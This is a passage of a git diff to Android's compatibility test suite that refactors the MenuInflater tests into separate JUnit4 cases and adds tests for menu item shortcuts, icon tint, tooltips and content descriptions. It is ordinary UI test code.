-        assertEquals(R.id.least_used_items, menu.findItem(R.id.middle_least_item).getGroupId());
+        assertEquals(R.id.least_used_items, mMenu.findItem(R.id.middle_least_item).getGroupId());
         assertEquals(Menu.CATEGORY_SECONDARY + 2,
-                menu.findItem(R.id.middle_least_item).getOrder());
+                mMenu.findItem(R.id.middle_least_item).getOrder());
 
-        assertEquals(R.id.least_used_items, menu.findItem(R.id.last_least_item).getGroupId());
-        assertEquals(Menu.CATEGORY_SECONDARY + 4, menu.findItem(R.id.last_least_item).getOrder());
+        assertEquals(R.id.least_used_items, mMenu.findItem(R.id.last_least_item).getGroupId());
+        assertEquals(Menu.CATEGORY_SECONDARY + 4, mMenu.findItem(R.id.last_least_item).getOrder());
+    }
 
-        // the checkables
-        menu = createMenu(mActivity);
-        mMenuInflater.inflate(android.view.cts.R.menu.checkable, menu);
+    @UiThreadTest
+    @Test
+    public void testInflateCheckableFromXmlNone() {
+        mMenuInflater.inflate(R.menu.checkable, mMenu);
+
         // noncheckables
         assertEquals(R.id.noncheckable_group,
-                menu.findItem(R.id.noncheckable_item_1).getGroupId());
-        assertFalse(menu.findItem(R.id.noncheckable_item_1).isCheckable());
+                mMenu.findItem(R.id.noncheckable_item_1).getGroupId());
+        assertFalse(mMenu.findItem(R.id.noncheckable_item_1).isCheckable());
 
         assertEquals(R.id.noncheckable_group,
-                menu.findItem(R.id.noncheckable_item_2).getGroupId());
-        assertFalse(menu.findItem(R.id.noncheckable_item_2).isCheckable());
+                mMenu.findItem(R.id.noncheckable_item_2).getGroupId());
+        assertFalse(mMenu.findItem(R.id.noncheckable_item_2).isCheckable());
 
         assertEquals(R.id.noncheckable_group,
-                menu.findItem(R.id.noncheckable_item_3).getGroupId());
-        assertFalse(menu.findItem(R.id.noncheckable_item_3).isCheckable());
+                mMenu.findItem(R.id.noncheckable_item_3).getGroupId());
+        assertFalse(mMenu.findItem(R.id.noncheckable_item_3).isCheckable());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInflateCheckableFromXmlMultiples() {
+        mMenuInflater.inflate(R.menu.checkable, mMenu);
 
         // multiple checkables (item 2 and item 3 are both checked)
-        assertEquals(R.id.checkable_group, menu.findItem(R.id.checkable_item_1).getGroupId());
-        assertTrue(menu.findItem(R.id.checkable_item_1).isCheckable());
-        assertFalse(menu.findItem(R.id.checkable_item_1).isChecked());
+        assertEquals(R.id.checkable_group, mMenu.findItem(R.id.checkable_item_1).getGroupId());
+        assertTrue(mMenu.findItem(R.id.checkable_item_1).isCheckable());
+        assertFalse(mMenu.findItem(R.id.checkable_item_1).isChecked());
 
-        assertEquals(R.id.checkable_group, menu.findItem(R.id.checkable_item_3).getGroupId());
-        assertTrue(menu.findItem(R.id.checkable_item_2).isCheckable());
-        assertTrue(menu.findItem(R.id.checkable_item_2).isChecked());
+        assertEquals(R.id.checkable_group, mMenu.findItem(R.id.checkable_item_3).getGroupId());
+        assertTrue(mMenu.findItem(R.id.checkable_item_2).isCheckable());
+        assertTrue(mMenu.findItem(R.id.checkable_item_2).isChecked());
 
-        assertEquals(R.id.checkable_group, menu.findItem(R.id.checkable_item_2).getGroupId());
-        assertTrue(menu.findItem(R.id.checkable_item_3).isCheckable());
-        assertTrue(menu.findItem(R.id.checkable_item_3).isChecked());
+        assertEquals(R.id.checkable_group, mMenu.findItem(R.id.checkable_item_2).getGroupId());
+        assertTrue(mMenu.findItem(R.id.checkable_item_3).isCheckable());
+        assertTrue(mMenu.findItem(R.id.checkable_item_3).isChecked());
 
         // make item 1 checked and item 2 and item 3 will remain checked
-        menu.findItem(R.id.checkable_item_1).setChecked(true);
-        assertTrue(menu.findItem(R.id.checkable_item_1).isChecked());
-        assertTrue(menu.findItem(R.id.checkable_item_2).isChecked());
-        assertTrue(menu.findItem(R.id.checkable_item_3).isChecked());
+        mMenu.findItem(R.id.checkable_item_1).setChecked(true);
+        assertTrue(mMenu.findItem(R.id.checkable_item_1).isChecked());
+        assertTrue(mMenu.findItem(R.id.checkable_item_2).isChecked());
+        assertTrue(mMenu.findItem(R.id.checkable_item_3).isChecked());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInflateCheckableFromXmlExclusive() {
+        mMenuInflater.inflate(R.menu.checkable, mMenu);
 
         // exclusive checkables (only item 3 is checked)
         assertEquals(R.id.exclusive_checkable_group,
-                menu.findItem(R.id.exclusive_checkable_item_1).getGroupId());
-        assertTrue(menu.findItem(R.id.exclusive_checkable_item_1).isCheckable());
-        assertFalse(menu.findItem(R.id.exclusive_checkable_item_1).isChecked());
+                mMenu.findItem(R.id.exclusive_checkable_item_1).getGroupId());
+        assertTrue(mMenu.findItem(R.id.exclusive_checkable_item_1).isCheckable());
+        assertFalse(mMenu.findItem(R.id.exclusive_checkable_item_1).isChecked());
 
         assertEquals(R.id.exclusive_checkable_group,
-                menu.findItem(R.id.exclusive_checkable_item_3).getGroupId());
-        assertTrue(menu.findItem(R.id.exclusive_checkable_item_2).isCheckable());
-        assertFalse(menu.findItem(R.id.exclusive_checkable_item_2).isChecked());
+                mMenu.findItem(R.id.exclusive_checkable_item_3).getGroupId());
+        assertTrue(mMenu.findItem(R.id.exclusive_checkable_item_2).isCheckable());
+        assertFalse(mMenu.findItem(R.id.exclusive_checkable_item_2).isChecked());
 
         assertEquals(R.id.exclusive_checkable_group,
-                menu.findItem(R.id.exclusive_checkable_item_2).getGroupId());
-        assertTrue(menu.findItem(R.id.exclusive_checkable_item_3).isCheckable());
-        assertTrue(menu.findItem(R.id.exclusive_checkable_item_3).isChecked());
+                mMenu.findItem(R.id.exclusive_checkable_item_2).getGroupId());
+        assertTrue(mMenu.findItem(R.id.exclusive_checkable_item_3).isCheckable());
+        assertTrue(mMenu.findItem(R.id.exclusive_checkable_item_3).isChecked());
 
         // make item 1 checked and item 3 will be unchecked
-        menu.findItem(R.id.exclusive_checkable_item_1).setChecked(true);
-        assertTrue(menu.findItem(R.id.exclusive_checkable_item_1).isChecked());
-        assertFalse(menu.findItem(R.id.exclusive_checkable_item_2).isChecked());
-        assertFalse(menu.findItem(R.id.exclusive_checkable_item_3).isChecked());
+        mMenu.findItem(R.id.exclusive_checkable_item_1).setChecked(true);
+        assertTrue(mMenu.findItem(R.id.exclusive_checkable_item_1).isChecked());
+        assertFalse(mMenu.findItem(R.id.exclusive_checkable_item_2).isChecked());
+        assertFalse(mMenu.findItem(R.id.exclusive_checkable_item_3).isChecked());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInflateCheckableFromXmlSubmenu() {
+        mMenuInflater.inflate(R.menu.checkable, mMenu);
 
         // checkables without group (all in a sub menu)
-        SubMenu subMenu = menu.findItem(R.id.submenu).getSubMenu();
+        SubMenu subMenu = mMenu.findItem(R.id.submenu).getSubMenu();
         assertNotNull(subMenu);
 
         assertTrue(subMenu.findItem(R.id.nongroup_checkable_item_1).isCheckable());
@@ -217,12 +274,56 @@
 
         // make item 1 checked and item 2 and item 3 will remain checked
         subMenu.findItem(R.id.nongroup_checkable_item_1).setChecked(true);
-        assertTrue(menu.findItem(R.id.nongroup_checkable_item_1).isChecked());
-        assertTrue(menu.findItem(R.id.nongroup_checkable_item_2).isChecked());
-        assertTrue(menu.findItem(R.id.nongroup_checkable_item_3).isChecked());
+        assertTrue(mMenu.findItem(R.id.nongroup_checkable_item_1).isChecked());
+        assertTrue(mMenu.findItem(R.id.nongroup_checkable_item_2).isChecked());
+        assertTrue(mMenu.findItem(R.id.nongroup_checkable_item_3).isChecked());
     }
 
-    public void assertIconUsingDrawableRes(BitmapDrawable b, int resId) {
+    @UiThreadTest
+    @Test
+    public void testInflateTooltipFromXml() {
+        mMenuInflater.inflate(R.menu.tooltip, mMenu);
+
+        MenuItem item1 = mMenu.findItem(R.id.item1);
+        MenuItem item2 = mMenu.findItem(R.id.item2);
+        MenuItem item3 = mMenu.findItem(R.id.item3);
+
+        assertEquals("tooltip1", item1.getTooltipText());
+
+        assertEquals("tooltip2", item2.getTooltipText());
+        item2.setTooltipText(null);
+        assertNull(item2.getTooltipText());
+        item2.setTooltipText("tooltip2_new");
+        assertEquals("tooltip2_new", item2.getTooltipText());
+
+        assertNull(item3.getTooltipText());
+        item3.setTooltipText("tooltip3");
+        assertEquals("tooltip3", item3.getTooltipText());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testInflateContentDescriptionFromXml() {
+        mMenuInflater.inflate(R.menu.content_description, mMenu);
+
+        MenuItem item1 = mMenu.findItem(R.id.item1);
+        MenuItem item2 = mMenu.findItem(R.id.item2);
+        MenuItem item3 = mMenu.findItem(R.id.item3);
+
+        assertEquals("description1", item1.getContentDescription());
+
+        assertEquals("description2", item2.getContentDescription());
+        item2.setContentDescription(null);
+        assertNull(item2.getContentDescription());
+        item2.setContentDescription("description2_new");
+        assertEquals("description2_new", item2.getContentDescription());
+
+        assertNull(item3.getContentDescription());
+        item3.setContentDescription("description3");
+        assertEquals("description3", item3.getContentDescription());
+    }
+
+    private void verifyDrawableContent(BitmapDrawable b, int resId) {
         Bitmap expected = BitmapFactory.decodeResource(mActivity.getResources(), resId);
         WidgetTestUtils.assertEquals(expected, b.getBitmap());
     }
diff --git a/tests/tests/view/src/android/view/cts/MenuItemCtsActivity.java b/tests/tests/view/src/android/view/cts/MenuItemCtsActivity.java
new file mode 100755
index 0000000..fa07d5c
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/MenuItemCtsActivity.java
@@ -0,0 +1,43 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.os.Bundle;
+import android.view.MenuItem;
+import android.widget.Toolbar;
+
+/**
+ * Stub activity for testing {@link MenuItem}
+ */
+public class MenuItemCtsActivity extends Activity {
+    private Toolbar mMainToolbar;
+
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.menu_item_layout);
+
+        mMainToolbar = (Toolbar) findViewById(R.id.toolbar_main);
+        setActionBar(mMainToolbar);
+    }
+
+    public Toolbar getMainToolbar() {
+        return mMainToolbar;
+    }
+}
+
diff --git a/tests/tests/view/src/android/view/cts/MenuItemTest.java b/tests/tests/view/src/android/view/cts/MenuItemTest.java
new file mode 100644
index 0000000..c9d362c
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/MenuItemTest.java
@@ -0,0 +1,107 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertNull;
+import static org.junit.Assert.assertSame;
+
+import android.app.Instrumentation;
+import android.content.res.ColorStateList;
+import android.graphics.Color;
+import android.graphics.PorterDuff;
+import android.support.test.InstrumentationRegistry;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.Menu;
+import android.view.MenuItem;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MenuItemTest {
+    private Instrumentation mInstrumentation;
+    private MenuItemCtsActivity mActivity;
+    private Menu mMenu;
+
+    @Rule
+    public ActivityTestRule<MenuItemCtsActivity> mActivityRule =
+            new ActivityTestRule<>(MenuItemCtsActivity.class);
+
+
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mInstrumentation = InstrumentationRegistry.getInstrumentation();
+        mActivity = mActivityRule.getActivity();
+
+        mActivity.getMainToolbar().inflateMenu(R.menu.menu_regular);
+        mMenu = mActivity.getMainToolbar().getMenu();
+    }
+
+    @Test
+    public void testAccessIconTint() {
+        // Note that this test is not marked as @UiThreadTest. Updating MenuItem does not
+        // immediately update the displayed content, and even though the getters are expected
+        // to immediately return the just-set value, using instrumentation to wait for the
+        // update to propagate makes this test more in line with the "real" application
+        // experience.
+        MenuItem firstItem = mMenu.getItem(0);
+        MenuItem secondItem = mMenu.getItem(1);
+        MenuItem thirdItem = mMenu.getItem(2);
+
+        // These are the default set in layout XML
+        assertEquals(Color.WHITE, firstItem.getIconTintList().getDefaultColor());
+        assertNull(firstItem.getIconTintMode());
+        assertNull(secondItem.getIconTintList());
+        assertEquals(PorterDuff.Mode.SCREEN, secondItem.getIconTintMode());
+        assertNull(thirdItem.getIconTintList());
+        assertNull(thirdItem.getIconTintMode());
+
+        // Change tint color list and mode and verify that they are returned by the getters
+        ColorStateList colors = ColorStateList.valueOf(Color.RED);
+        mInstrumentation.runOnMainSync(() -> {
+            firstItem.setIconTintList(colors);
+            firstItem.setIconTintMode(PorterDuff.Mode.XOR);
+        });
+        mInstrumentation.waitForIdleSync();
+        assertSame(colors, firstItem.getIconTintList());
+        assertEquals(PorterDuff.Mode.XOR, firstItem.getIconTintMode());
+
+        // Ensure the tint is preserved across drawable changes.
+        mInstrumentation.runOnMainSync(() -> firstItem.setIcon(R.drawable.icon_yellow));
+        mInstrumentation.waitForIdleSync();
+        assertSame(colors, firstItem.getIconTintList());
+        assertEquals(PorterDuff.Mode.XOR, firstItem.getIconTintMode());
+
+        // Change tint color list and mode again and verify that they are returned by the getters
+        ColorStateList colorsNew = ColorStateList.valueOf(Color.MAGENTA);
+        mInstrumentation.runOnMainSync(() -> {
+            firstItem.setIconTintList(colorsNew);
+            firstItem.setIconTintMode(PorterDuff.Mode.SRC_IN);
+        });
+        mInstrumentation.waitForIdleSync();
+        assertSame(colorsNew, firstItem.getIconTintList());
+        assertEquals(PorterDuff.Mode.SRC_IN, firstItem.getIconTintMode());
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/MenuTest.java b/tests/tests/view/src/android/view/cts/MenuTest.java
new file mode 100644
index 0000000..24af7bd
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/MenuTest.java
@@ -0,0 +1,251 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import static org.junit.Assert.assertEquals;
+import static org.junit.Assert.assertFalse;
+import static org.junit.Assert.assertTrue;
+
+import android.os.SystemClock;
+import android.support.test.annotation.UiThreadTest;
+import android.support.test.filters.MediumTest;
+import android.support.test.rule.ActivityTestRule;
+import android.support.test.runner.AndroidJUnit4;
+import android.view.KeyEvent;
+import android.view.Menu;
+import android.view.MenuInflater;
+import android.view.MenuItem;
+import android.widget.PopupMenu;
+
+import org.junit.Before;
+import org.junit.Rule;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+
+/**
+ * Test {@link MenuInflater}.
+ */
+@MediumTest
+@RunWith(AndroidJUnit4.class)
+public class MenuTest {
+    private MenuTestActivity mActivity;
+    private MenuInflater mMenuInflater;
+    private Menu mMenu;
+
+    @Rule
+    public ActivityTestRule<MenuTestActivity> mActivityRule =
+            new ActivityTestRule<>(MenuTestActivity.class);
+
+    @UiThreadTest
+    @Before
+    public void setup() {
+        mActivity = (MenuTestActivity) mActivityRule.getActivity();
+        mMenuInflater = mActivity.getMenuInflater();
+        mMenu = new PopupMenu(mActivity, null).getMenu();
+    }
+
+    @UiThreadTest
+    @Test
+    public void testPerformShortcut() {
+        mMenuInflater.inflate(R.menu.shortcut_modifiers, mMenu);
+        mMenu.setQwertyMode(true);
+        int keyCodeToSend, metaState;
+        KeyEvent keyEventToSend;
+
+        // Test shortcut trigger in case of no modifier
+        keyCodeToSend = KeyEvent.KEYCODE_A;
+        metaState = KeyEvent.META_CTRL_ON;
+        keyEventToSend = generateKeyEvent(keyCodeToSend, metaState);
+        assertTrue(mMenu.performShortcut(keyCodeToSend, keyEventToSend, 0));
+        assertEquals(mActivity.getMenuItemIdTracker(),
+                mMenu.findItem(R.id.no_modifiers).getItemId());
+
+        // Test shortcut trigger in case of default modifier
+        keyCodeToSend = KeyEvent.KEYCODE_B;
+        metaState = KeyEvent.META_CTRL_ON;
+        keyEventToSend = generateKeyEvent(keyCodeToSend, metaState);
+        assertTrue(mMenu.performShortcut(keyCodeToSend, keyEventToSend, 0));
+        assertEquals(mActivity.getMenuItemIdTracker(),
+                mMenu.findItem(R.id.default_modifiers).getItemId());
+
+        // Test shortcut trigger in case of non-default single modifier
+        keyCodeToSend = KeyEvent.KEYCODE_C;
+        metaState = KeyEvent.META_SHIFT_ON;
+        keyEventToSend = generateKeyEvent(keyCodeToSend, metaState);
+        assertTrue(mMenu.performShortcut(keyCodeToSend, keyEventToSend, 0));
+        assertEquals(mActivity.getMenuItemIdTracker(),
+                mMenu.findItem(R.id.single_modifier).getItemId());
+
+        // Test shortcut trigger in case of multiple modifiers
+        keyCodeToSend = KeyEvent.KEYCODE_D;
+        metaState = KeyEvent.META_CTRL_ON | KeyEvent.META_SHIFT_ON;
+        keyEventToSend = generateKeyEvent(keyCodeToSend, metaState);
+        assertTrue(mMenu.performShortcut(keyCodeToSend, keyEventToSend, 0));
+        assertEquals(mActivity.getMenuItemIdTracker(),
+                mMenu.findItem(R.id.multiple_modifiers).getItemId());
+
+        // Test no shortcut trigger in case of incorrect modifier
+        keyCodeToSend = KeyEvent.KEYCODE_E;
+        metaState = KeyEvent.META_CTRL_ON;
+        keyEventToSend = generateKeyEvent(keyCodeToSend, metaState);
+        assertFalse(mMenu.performShortcut(keyCodeToSend, keyEventToSend, 0));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetShortcutWithAlpha() {
+        mMenu.setQwertyMode(true);
+        // Test default modifier (CTRL) when unspecified in setShortcut
+        mMenu.add(0, 0, 0, "test").setShortcut('2', 'a');
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_A,
+                generateKeyEvent(KeyEvent.KEYCODE_A, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_A,
+                generateKeyEvent(KeyEvent.KEYCODE_A, KeyEvent.META_SHIFT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_B,
+                generateKeyEvent(KeyEvent.KEYCODE_B, KeyEvent.META_CTRL_ON)));
+        // Test setShortcut with modifier
+        mMenu.add(0, 0, 0, "test").setShortcut('3', 'b',
+                KeyEvent.META_ALT_ON, KeyEvent.META_ALT_ON);
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_B,
+                generateKeyEvent(KeyEvent.KEYCODE_B, KeyEvent.META_ALT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_B,
+                generateKeyEvent(KeyEvent.KEYCODE_B, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_C,
+                generateKeyEvent(KeyEvent.KEYCODE_C, KeyEvent.META_ALT_ON)));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetShortcutWithNumeric() {
+        mMenu.setQwertyMode(false);
+        // Test default modifier (CTRL) when unspecified in setShortcut
+        mMenu.add(0, 0, 0, "test").setShortcut('2', 'a');
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_2,
+                generateKeyEvent(KeyEvent.KEYCODE_2, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_2,
+                generateKeyEvent(KeyEvent.KEYCODE_2, KeyEvent.META_ALT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_3,
+                generateKeyEvent(KeyEvent.KEYCODE_3, KeyEvent.META_CTRL_ON)));
+        // Test setShortcut with modifier
+        mMenu.add(0, 0, 0, "test").setShortcut('3', 'b',
+                KeyEvent.META_ALT_ON, KeyEvent.META_ALT_ON);
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_3,
+                generateKeyEvent(KeyEvent.KEYCODE_3, KeyEvent.META_ALT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_3,
+                generateKeyEvent(KeyEvent.KEYCODE_3, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_4,
+                generateKeyEvent(KeyEvent.KEYCODE_4, KeyEvent.META_ALT_ON)));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetAlphabeticShortcut() {
+        mMenu.setQwertyMode(true);
+        // Test default modifier when unspecified in setAlphabeticShortcut
+        mMenu.add(0, 0, 0, "test").setAlphabeticShortcut('a');
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_A,
+                generateKeyEvent(KeyEvent.KEYCODE_A, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_A,
+                generateKeyEvent(KeyEvent.KEYCODE_A, KeyEvent.META_SHIFT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_B,
+                generateKeyEvent(KeyEvent.KEYCODE_B, KeyEvent.META_CTRL_ON)));
+        // Test setAlphabeticShortcut with single modifier
+        mMenu.add(0, 0, 0, "test").setAlphabeticShortcut('b', KeyEvent.META_ALT_ON);
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_B,
+                generateKeyEvent(KeyEvent.KEYCODE_B, KeyEvent.META_ALT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_B,
+                generateKeyEvent(KeyEvent.KEYCODE_B, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_C,
+                generateKeyEvent(KeyEvent.KEYCODE_C, KeyEvent.META_ALT_ON)));
+        // Test setAlphabeticShortcut with multiple modifiers
+        mMenu.add(0, 0, 0, "test").setAlphabeticShortcut('c',
+                KeyEvent.META_ALT_ON | KeyEvent.META_SHIFT_ON);
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_C, generateKeyEvent(KeyEvent.KEYCODE_C,
+                KeyEvent.META_ALT_ON | KeyEvent.META_SHIFT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_C, generateKeyEvent(KeyEvent.KEYCODE_C,
+                KeyEvent.META_CTRL_ON | KeyEvent.META_SHIFT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_D, generateKeyEvent(KeyEvent.KEYCODE_D,
+                KeyEvent.META_ALT_ON | KeyEvent.META_SHIFT_ON)));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testSetNumericShortcut() {
+        mMenu.setQwertyMode(false);
+        // Test default modifier when unspecified in setNumericShortcut
+        mMenu.add(0, 0, 0, "test").setNumericShortcut('2');
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_2,
+                generateKeyEvent(KeyEvent.KEYCODE_2, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_2,
+                generateKeyEvent(KeyEvent.KEYCODE_2, KeyEvent.META_ALT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_3,
+                generateKeyEvent(KeyEvent.KEYCODE_3, KeyEvent.META_CTRL_ON)));
+        // Test setNumericShortcut with single modifier
+        mMenu.add(0, 0, 0, "test").setNumericShortcut('3', KeyEvent.META_ALT_ON);
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_3,
+                generateKeyEvent(KeyEvent.KEYCODE_3, KeyEvent.META_ALT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_3,
+                generateKeyEvent(KeyEvent.KEYCODE_3, KeyEvent.META_CTRL_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_4,
+                generateKeyEvent(KeyEvent.KEYCODE_4, KeyEvent.META_ALT_ON)));
+        // Test setNumericShortcut with multiple modifiers
+        mMenu.add(0, 0, 0, "test").setNumericShortcut('4',
+                KeyEvent.META_ALT_ON | KeyEvent.META_SHIFT_ON);
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_4, generateKeyEvent(KeyEvent.KEYCODE_4,
+                KeyEvent.META_ALT_ON | KeyEvent.META_SHIFT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_4, generateKeyEvent(KeyEvent.KEYCODE_4,
+                KeyEvent.META_CTRL_ON | KeyEvent.META_SHIFT_ON)));
+        assertFalse(mMenu.isShortcutKey(KeyEvent.KEYCODE_5, generateKeyEvent(KeyEvent.KEYCODE_5,
+                KeyEvent.META_ALT_ON | KeyEvent.META_SHIFT_ON)));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testGetShortcutModifiers() {
+        MenuItem item = mMenu.add(0, 0, 0, "test");
+        // Test shortcut getters and setters
+        item.setShortcut('2', 'a', KeyEvent.META_ALT_ON,
+                KeyEvent.META_CTRL_ON | KeyEvent.META_SHIFT_ON);
+        assertEquals('2', item.getNumericShortcut());
+        assertEquals(KeyEvent.META_ALT_ON, item.getNumericModifiers());
+        assertEquals('a', item.getAlphabeticShortcut());
+        assertEquals(KeyEvent.META_CTRL_ON | KeyEvent.META_SHIFT_ON, item.getAlphabeticModifiers());
+    }
+
+    @UiThreadTest
+    @Test
+    public void testIsShortcutWithBackspace() {
+        mMenu.setQwertyMode(true);
+        mMenu.add(0, 0, 0, "test").setShortcut('2', '\b');
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_DEL,
+                generateKeyEvent(KeyEvent.KEYCODE_DEL, KeyEvent.META_CTRL_ON)));
+    }
+
+    @UiThreadTest
+    @Test
+    public void testIsShortcutWithNewline() {
+        mMenu.setQwertyMode(true);
+        mMenu.add(0, 0, 0, "test").setShortcut('2', '\n');
+        assertTrue(mMenu.isShortcutKey(KeyEvent.KEYCODE_ENTER,
+                generateKeyEvent(KeyEvent.KEYCODE_ENTER, KeyEvent.META_CTRL_ON)));
+    }
+
+    private static KeyEvent generateKeyEvent(int keyCodeToSend, int metaState) {
+        long downTime = SystemClock.uptimeMillis();
+        return new KeyEvent(downTime, downTime, KeyEvent.ACTION_DOWN, keyCodeToSend, 0, metaState);
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/MenuTestActivity.java b/tests/tests/view/src/android/view/cts/MenuTestActivity.java
new file mode 100644
index 0000000..d5d5c4a
--- /dev/null
+++ b/tests/tests/view/src/android/view/cts/MenuTestActivity.java
@@ -0,0 +1,34 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.view.cts;
+
+import android.app.Activity;
+import android.view.MenuItem;
+
+public class MenuTestActivity extends Activity {
+
+    private int mMenuItemIdTracker;
+
+    public int getMenuItemIdTracker() {
+        return mMenuItemIdTracker;
+    }
+
+    public boolean handleMenuItem(MenuItem item) {
+        mMenuItemIdTracker = item.getItemId();
+        return true;
+    }
+}
diff --git a/tests/tests/view/src/android/view/cts/MockApplication.java b/tests/tests/view/src/android/view/cts/MockApplication.java
deleted file mode 100644
index e99e6b8..0000000
--- a/tests/tests/view/src/android/view/cts/MockApplication.java
+++ /dev/null
@@ -1,59 +0,0 @@
-/*
- * Copyright (C) 2008 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.view.cts;
-
-import android.app.Application;
-import android.content.res.Configuration;
-
-
-public class MockApplication extends Application {
-
-    public boolean isOnCreateCalled;
-    public boolean isConstructorCalled;
-    public boolean isOnConfigurationChangedCalled;
-    public boolean isOnLowMemoryCalled;
-
-    public MockApplication() {
-        super();
-        isConstructorCalled = true;
-    }
-
-    @Override
-    public void onCreate() {
-        super.onCreate();
-        isOnCreateCalled = true;
-    }
-
-    @Override
-    public void onTerminate() {
-        super.onTerminate();
-        // The documentation states that one cannot rely on this method being called. No need to
-        // test it here.
-    }
-
-    @Override
